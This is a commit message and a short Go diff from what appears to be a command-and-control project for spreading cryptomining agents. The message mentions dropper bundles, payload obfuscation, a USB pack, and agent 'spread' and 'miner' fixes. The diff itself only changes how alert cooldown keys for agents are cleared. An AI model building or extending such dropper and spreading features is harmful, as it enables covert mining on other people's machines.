fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.

server/internal/alerts/evaluator.go

@@ -224,10 +224,8 @@ func (e *Evaluator) ClearAgent(agentID string) {
 	// Remove cooldown + baseline entries so the agent's next appearance
 	// (e.g. re-registration) starts fresh.
 	delete(e.baseline, agentID)
-	for k := range e.lastFired {
-		if len(k) > len(agentID) && k[len(k)-len(agentID):] == agentID {
-			delete(e.lastFired, k)
-		}
+	for _, prefix := range []string{"offline:", "hashrate:", "reject:"} {
+		delete(e.lastFired, prefix+agentID)
 	}
 }